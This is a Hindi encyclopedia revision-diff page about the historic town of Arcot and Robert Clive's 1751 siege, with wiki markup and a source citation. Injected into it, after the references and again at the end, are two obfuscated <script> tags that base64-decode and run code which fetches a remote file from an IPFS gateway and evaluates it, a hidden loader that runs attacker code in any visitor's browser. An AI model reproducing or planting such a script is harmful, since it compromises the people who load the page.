"अर्काट" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
 
(4 सदस्यों द्वारा किये गये बीच के 5 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
अर्काट, [[कर्नाटक]] का एक नगर है, जिसे कर्नाटक के नवाब [[अनवरुद्दीन]] (1743-49 ई.) ने अपनी राजधानी बनाया। दूसरे कर्नाटक युद्ध (1751-54 ई.) में इस नगर का महत्वपूर्ण स्थान था। यहाँ पर एक मज़बूत क़िला था, जो आम्बूर की 1749 ई. की लड़ाई में अनवरुद्दीन की हार और मौत के बाद [[चन्दा साहब]] के नियंत्रण में चला गया। चन्दा साहब ने [[फ़्राँसीसी|फ़्राँसीसियों]] की मदद से त्रिचिनापल्ली का घेरा डाला, जहाँ अनवरुद्दीन के पुत्र मुहम्मद अली ने शरण ली थी। त्रिचिनापल्ली को राहत देने के लिए राबर्ट क्लाइब ने दो सौ [[अंग्रेज़]] और तीन सौ देशी सिपाहियों की मदद से अर्काट पर क़ब्ज़ा कर लिया। इसके बाद चन्दा साहब ने बहुत बड़ी सेना के साथ अर्काट का घेरा डाला और क्लाइब की सेना 56 दिन ([[23 सितम्बर]] से [[14 नवम्बर]] तक) क़िले में ही घिरी रही। अन्त में क्लाइब ने चन्दा साहब की सेना का घेरा तोड़कर उसे पीछे धकेल दिया। अर्काट के घेरे को तोड़ने में सफल होने के बाद राबर्ट क्लाइब की प्रतिष्ठा एक अच्छे सेनापति के रूप में स्थापित हो गई और कर्नाटक अंग्रेज़ों के क़ब्ज़े में आ गया।
+
'''अर्काट''' [[कर्नाटक]] का एक नगर है, जिसे कर्नाटक के [[अनवरुद्दीन|नवाब अनवरुद्दीन]] (1743-49 ई.) ने अपनी राजधानी बनाया था। [[कर्नाटक युद्ध द्वितीय|दूसरे कर्नाटक युद्ध]] (1751-54 ई.) में इस नगर का महत्त्वपूर्ण स्थान था। यहाँ पर एक मज़बूत [[क़िला]] था, जो [[आम्बूर की लड़ाई|आम्बूर]] की 1749 ई. की लड़ाई में अनवरुद्दीन की हार और मौत के बाद [[चन्दा साहब]] के नियंत्रण में चला गया था।
  
{{प्रचार}}
+
*चन्दा साहब ने [[फ़्राँसीसी|फ़्राँसीसियों]] की मदद से [[त्रिचनापल्ली]] का घेरा डाला, जहाँ अनवरुद्दीन के [[पुत्र]] मुहम्मद अली ने शरण ली थी।
{{लेख प्रगति
+
*[[त्रिचनापल्ली]] को राहत देने के लिए [[राबर्ट क्लाइव]] ने दो सौ [[अंग्रेज़]] और तीन सौ देशी सिपाहियों की मदद से अर्काट पर क़ब्ज़ा कर लिया।
|आधार=
+
*इसके बाद चन्दा साहब ने बहुत बड़ी सेना के साथ अर्काट का घेरा डाला और क्लाइब की सेना 56 दिन ([[23 सितम्बर]] से [[14 नवम्बर]] तक) क़िले में ही घिरी रही। अन्त में क्लाइव ने चन्दा साहब की सेना का घेरा तोड़कर उसे पीछे धकेल दिया।
|प्रारम्भिक=प्रारम्भिक1
+
*अर्काट के घेरे को तोड़ने में सफल होने के बाद [[राबर्ट क्लाइव]] की प्रतिष्ठा एक अच्छे [[सेनापति]] के रूप में स्थापित हो गई और [[कर्नाटक]] [[अंग्रेज़|अंग्रेज़ों]] के क़ब्ज़े में आ गया।
|माध्यमिक=
+
 
|पूर्णता=
+
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक=|पूर्णता=|शोध=}}
|शोध=
 
}}
 
{{संदर्भ ग्रंथ}}
 
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
(पुस्तक 'भारतीय इतिहास कोश') पृष्ठ संख्या-17
+
{{पुस्तक संदर्भ |पुस्तक का नाम=भारतीय इतिहास कोश |लेखक= सच्चिदानन्द भट्टाचार्य|अनुवादक= |आलोचक= |प्रकाशक=उत्तर प्रदेश हिन्दी संस्थान |संकलन= |संपादन= |पृष्ठ संख्या=17|url=}}
 
<references/>
 
<references/>
 
==संबंधित लेख==
 
==संबंधित लेख==
 
{{कर्नाटक के नगर}}
 
{{कर्नाटक के नगर}}
[[Category:नया पन्ना]]
+
[[Category:कर्नाटक]][[Category:कर्नाटक_के_ऐतिहासिक_नगर]][[Category:कर्नाटक_के_नगर]][[Category:ऐतिहासिक स्थान कोश]][[Category:इतिहास कोश]]
 +
[[Category:भारतीय इतिहास कोश]]
 
__INDEX__
 
__INDEX__
[[Category:कर्नाटक]][[Category:कर्नाटक_के_ऐतिहासिक_नगर]][[Category:कर्नाटक_के_नगर]]
 

08:42, 3 मई 2018 के समय का अवतरण

अर्काट कर्नाटक का एक नगर है, जिसे कर्नाटक के नवाब अनवरुद्दीन (1743-49 ई.) ने अपनी राजधानी बनाया था। दूसरे कर्नाटक युद्ध (1751-54 ई.) में इस नगर का महत्त्वपूर्ण स्थान था। यहाँ पर एक मज़बूत क़िला था, जो आम्बूर की 1749 ई. की लड़ाई में अनवरुद्दीन की हार और मौत के बाद चन्दा साहब के नियंत्रण में चला गया था।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

भारतीय इतिहास कोश |लेखक: सच्चिदानन्द भट्टाचार्य |प्रकाशक: उत्तर प्रदेश हिन्दी संस्थान |पृष्ठ संख्या: 17 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>